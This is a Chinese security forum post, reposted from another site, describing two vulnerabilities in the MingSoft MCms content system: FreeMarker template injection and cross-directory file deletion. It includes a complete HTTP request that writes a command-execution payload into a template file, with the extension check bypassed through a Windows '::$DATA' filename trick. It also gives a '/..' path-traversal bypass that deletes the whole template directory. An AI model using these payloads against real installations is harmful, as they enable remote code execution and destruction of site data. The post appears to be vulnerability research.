本帖最后由 alyssa 于 2023-9-9 10:55 编辑
1. 前言2. freeMark模板注入挖掘在系统设置--模板管理中,可以对文件进行修改
这里以本机Windows为例,通过抓包得知
为net.mingsoft.basic.action#writeFileContent方法
首先会判断传入的文件是否存在,稍后会进行文件后缀的判断
跟进checkFileType,可以发现会对传入的FileName进行判断,如果为以下后缀则上传失败
因为前期发现整合了freeMark,所以直接写入到WEB-INF/manager/cms/目录下的ftl文件即可
直接写入即可:
- POST /ms/basic/template/writeFileContent.do HTTP/1.1
- Host: 192.168.1.6:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
- Accept: application/json, text/plain, */*
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Content-Type: application/x-www-form-urlencoded
- X-Requested-With: XMLHttpRequest
- Cache-Control: no-cache
- Pragma: no-cache
- token: null
- Content-Length: 288
- Origin: <a href="http://192.168.1.6:8080" target="_blank">http://192.168.1.6:8080</a>
- Connection: close
- Referer: <a href="http://192.168.1.6:8080/ms/basic/template/list.do?template=1/default" target="_blank">http://192.168.1.6:8080/ms/basic ... ?template=1/default</a>
- Cookie: SHIRO_SESSION_ID=1048399f-60a2-4a05-8112-5030a61e69c4; pageno_cookie=1; rememberMe=tUQsvtRus4pdsS5hhhcZRj6w7Kt4QX17kHT57OhAd6YsO44CQrPJRMSTkFg2hdQpkyGItXEbBW85nr5Mb4lQHu/j5crBNIlPDUHvgxi21TAZ/jTHurUXETl+1yRtN2ZEyjAWh/d9pIDydDQjJfbKXr6Uf6t8wD4nYKoiYkAUAs2AZo2PsGk5R0q0x6YNhOetflg8laT6ethhboMIX3SzYLXdVWyzCCM1gmyV9/FTAi02l6gIkrr9Z6ebtmbrtlVAm8rY0vrjJ+Y5Of3k5DJNCkFn/3BWsIS1A/pEqQcs13arYY3cFaf5RNybDiueJpAClViuPdUcNxr/f4AooQgrZiRvjucdfnjw7ml55gvMgddxR5Gx1L8enuTgv2xbpdUxoohUSQOMXHDfex91Qr0s49YTB9yF1j+MTgXcLyiJ8hbj+yMnQzX9QG3tyLLrIVShVz1gdFBFWfxM8BaCa07ZNJ+p49dsy0ntlW2GeEyh7XXQ+P2go3S6B5q2aIIxedfFtj76QnlLlw7XGGvK+uCc+eyhFxdNRBMT55nWieUpEGWSO54dmSrUNn2KqhRQWVt5XyEP2Nw2XSsvWArxg5/fjqIwekHNlXQyyjb/MyvqA22xj4G4P7wFRgf6mcAzv651dOwBKDe1O/8xCiKJdvLMC8Ecl9/J8O49vBEFuQ0UwHNLUoMciO+UfqZr1MVSG7lPAiLE8hJ+GC7l84wptE5p6ahdRcyBb4e1uoa9Ohg5C3eYKUqnMGyD3KOsYySKn7uaiOuWapERuqRc8d2jSQiT4wntiemnB0BZ+7ynsNKMWIHKbZv3oYCX4YtDROPMGovetW1L6LOC9eJ6UqxiI+LUXck53hUyYrE57OvKd8MNxJGvAsAeR6WoaglTbqaXlGsXQuGv4ArApkyt+UBOGU8Wx3zjh0lcHkivVHzekB4DsJflXPZ9L+hxyzSQet3ZzuXC/aWlEpwkxJRCE71gyj0tAKfB97mKOTNWKtuj1XuBsumKyUalE5qMUmi1Mf0qQQYGgvnYwdklu/XIZ3GsaBakIg+zYlGlac1xC5EN63i6Eml5AK/DhnulHu6jkRRysFuYorzVYr7KLIldPTHkDuG+epimts1bpykjEYXWHLKKjzrHo6rSaKU8N421wvmHtW+uUoumnDjOzAS2kiwikgR5rSrwIs0iZkxs66JfohDAOuGFxi0mKbpqGhigj+LIn6xeWmdpJb30Bo8Hdfi14kohySASILzT/peKk+scpmA5IVER1Ih/e1zqZdDJigs1m4mLoCTmb8SiyqQCE1g3CI2Ar4rK1oOerMgn6lB4yUabjyFay0ps07HEWYl3sXRJ4q1bXEqNFOrjhbvNLkc=
- fileName=%57%45%42%2d%49%4e%46%5c%6d%61%6e%61%67%65%72%5c%63%6d%73%5c%63%6f%6e%74%65%6e%74%5c%66%6f%72%6d%2e%66%74%6c%3a%3a%24%44%41%54%41&name=about.htm&fileNamePrefix=template%5C1%2F%5Cdefault%5C&fileContent=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22calc%22%29%7D
复制代码
( 在window的时候如果文件名+":: $DATA"会把:: $DATA之后的数据当成文件流处理,不会检测后缀名,且保持:: $DATA之前的文件名,其实和空格绕过点绕过类似) fileName=WEB-INF\manager\cms\content\form.ftl:: $DATA&name=about.htm&fileNamePrefix=template\1/\default\&fileContent=${"freemarker.template.utility.Execute"?new()("calc")} 这里我写入的是content\form.ftl文件。
接下来直接找action即可。利用action转发到form页面即可
位置在net.mingsoft.cms.action#form方法
3. 跨目录文件删除登录后台后,在系统设置--模板管理可以删除文件。而只能删除default目录
当前default路径如下,可以看到在template目录下方。而template有很多其它模板文件
在net.mingsoft.basic.action#delete方法中,可以看到回怼传入的fileName进行判断。如果是../或者..\ 则跑到247行的error处
所以有一个很好的绕过思路/..来绕过
接下来可以看到template目录下的模板文件全部被删除了。
提交该数据包之后,path如下,这里就会将template模板目录全部删除
来源:【https://xz.aliyun.com/】,感谢【[color=rgba(0, 0, 0, 0.45)]Met32】
|